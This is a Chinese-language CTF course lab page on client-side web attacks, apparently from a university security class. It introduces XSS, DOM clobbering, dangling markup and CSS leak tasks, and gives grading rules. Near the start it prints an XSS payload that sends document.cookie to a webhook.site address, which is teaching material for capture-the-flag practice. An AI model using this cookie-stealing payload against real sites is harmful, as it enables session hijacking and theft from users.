Web Lab 2:用户侧攻击 ¶
那么,对于一个 CTF 题,XSS 要干什么……¶
在课上,我们主要涉及了各种攻击方式的原理。让页面alert("XSS")对于 PoC 来说足够了,但是对于一道 CTF 题来说还不够,通常此类题目会设计一个不HTTPOnly的 Cookie,值为 flag,如果你能拿到这个 cookie(document.cookie)就可以证明你已经可以在页面上执行任意代码。
<script>
fetch(`https://webhook.site/2b055f93-1ae0-4c3e-bde1-ec6a7f6b39a7/${document.cookie}`)
</script>
这是一个常见的写法,从实现 XSS 拓展到了窃取 flag 。
另外有一个常见误区:
假定 WebsocketReflectorX 将平台的 wss 映射到了127.0.0.1:7777,那么你不应该让 bot 访问http://127.0.0.1:7777/some-path-with-XSS-vuln/?content=some-payload,它访问不到你自己电脑上的端口;穿透出去也不行。
通常来说,如果用户侧攻击的题目给了附件,那你可以从附件中找到 path,一般是http://localhost:<PORT>/...,有的题目可能会写http://web:3000/...之类;如果没给附件,那题目描述或者页面中可能会讲 host 是什么。
综合起来,bot 要访问的路径可能是http://localhost:3000/some-path/?content=<script>fetch( https://webhook.site/2b055f93-1ae0-4c3e-bde1-ec6a7f6b39a7/${document.cookie })</script>

不都是从那个时候过来的嘛
……我没有公网服务器 ¶
没有公网服务器确实会给用户侧攻击的体验带来一点麻烦,但也还是有很多解决方案的:
- 有很多平台提供了记录请求的服务,例如
webhook.site,dnslog,requestrepo等等。 - 我 们的ZJU::C TF 平台已经修好了!只需要在校网下自己的电脑上搭一个服务器(
npx serve或者python -m http.server之类) ,用自 己的 IP 地址(10.x.x.x)即可。题目环境已可以访问10.0.0.0/8。 - 可以了解一下“内网穿透”。
虽然我也配了但是我还是嫌内网穿透很繁琐,总之还是推荐前两种方案
做不出来咋办……¶
在解题过程中遇到困难,可 以向 AI 提问,也可以向助教提问;如果无法 理解 AI 的解释也可以向助教提问——总之不要有心理负担,大胆的问(以及,考虑到知识诅咒,如果问的人多的话,我们可能会 放出hi nt 来降低难度
我个人 认为CTF1 01 的目的是让所有同学感 受到Hacki ng 的乐趣,不是为了筛选人,也不需要强制让多少百分比的人拿不到满绩。
但是请不要看都不看 ,将 AI 生 成的fl ag 交给平台、AI 生成的报告交给我。实验报告必须体现出人类的工作内容(工作量原则
实验分数构成 ¶
- 第一组:60 分
- 第二组:30 分
- bonus:50 分
- 签到和反馈:15 分
上 述 4 个模块,每个模块具有独立上限,模块得分不溢出此上限;总计上 限为1 15 分(即,至多 溢出 15 分到其它实验
每道题目即使未能解出最终结果也会有部分分。
第一组 ¶
A. XSS Labs (15 分 ) ¶
B. Webpack DOMClobber (15 分 ) ¶
尝试 使用DOM Clobb er 的方式解决 [lec 2] My favourite profile
C. Dangling Markup Lab (15 分 ) ¶
- [lec 2] Dangling Markup Lab
- Dangling Markup 的利用要求其实是比较苛刻的。尝试自己在本地进行一些实验验证这一点,比如可以展示什么情 况下Dangling Mark up 会被默认拦截,从浏览器的哪个版本开始有了这样的安全限制,等等。
完成上述两个任务可 获得 15 分
D. Gradient (20 分 ) ¶
E. Notebook Viewer (20 分 ) ¶
第二组 ¶
F. also jquery(10 分)¶
G. As I've written(15 分)¶
想当年,这道题只有交大一位同学解出来了……但是我们课上拆解过了,而且还有 writeup,所以应该还好
H. ColorNote(25 分)¶
- 用Dangling Mark up 解出本题可 获得 15 分
- 如果有换行的话,浏览器会忽略这个 tag…有什么办法绕过吗?
- 课上讲了
data:伪协议,其中有没有什么有意思的东西可以用上?
- 课上讲了
- 如果有换行的话,浏览器会忽略这个 tag…有什么办法绕过吗?
- 再用CSS Le ak 解出本题可获得 额外 10 分
Bonus 题 ¶
I. As I've written REVENGE(20 分)¶
而这,就是那位交大同学的非预期解
出一道用户侧攻击有 关的 We b 题(50 分)¶
参考xsleaks.dev, hacktric ks 等资料,找找自己感兴趣的点,命制 一道W eb 题。
- 你需要提交题目的 attachment、容器文件, 一个READ ME 题目描述文件,以及 Writeup;
- 在本报告中,你可以讲一讲自己命制这道题的心路历程,比如找到了那些题目做 参 考 / 找到了什么知 识 点 / 觉得自己题目中什么地方出的最有意思;
- 我们主要会根据题目的完整度以及报告中体现的工作量来评分,题目的新颖性、难度等等也会纳入考虑;换句话说,哪怕你未能写出一道让自己满意的题目,只要报告中体现出了自己探索的过程,也可以获得不错的分数。
课上签到(5 分 bonus)¶
到课本身就是工作量的体现 难道不是吗
反馈(5~10 分 bonus)¶
谈谈你的感受吧!无论是关于本次课程,关于助教,关于作业,无论是感想、意见还是建议,欢迎畅所欲言,您的反馈能帮助我们更好的改进课程!